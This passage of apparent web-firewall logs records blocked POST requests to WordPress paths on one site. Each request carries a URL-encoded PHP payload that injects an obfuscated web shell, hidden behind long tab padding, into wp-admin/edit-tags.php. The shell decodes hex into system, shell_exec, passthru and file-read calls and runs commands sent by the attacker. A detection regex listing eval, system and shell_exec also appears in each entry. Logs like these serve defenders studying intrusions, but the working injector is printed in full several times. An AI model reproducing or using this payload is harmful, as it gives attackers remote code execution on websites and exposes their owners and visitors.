%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:46:50","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9103\naccept:*\/*\n\nqx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:46:55","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:9126\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2527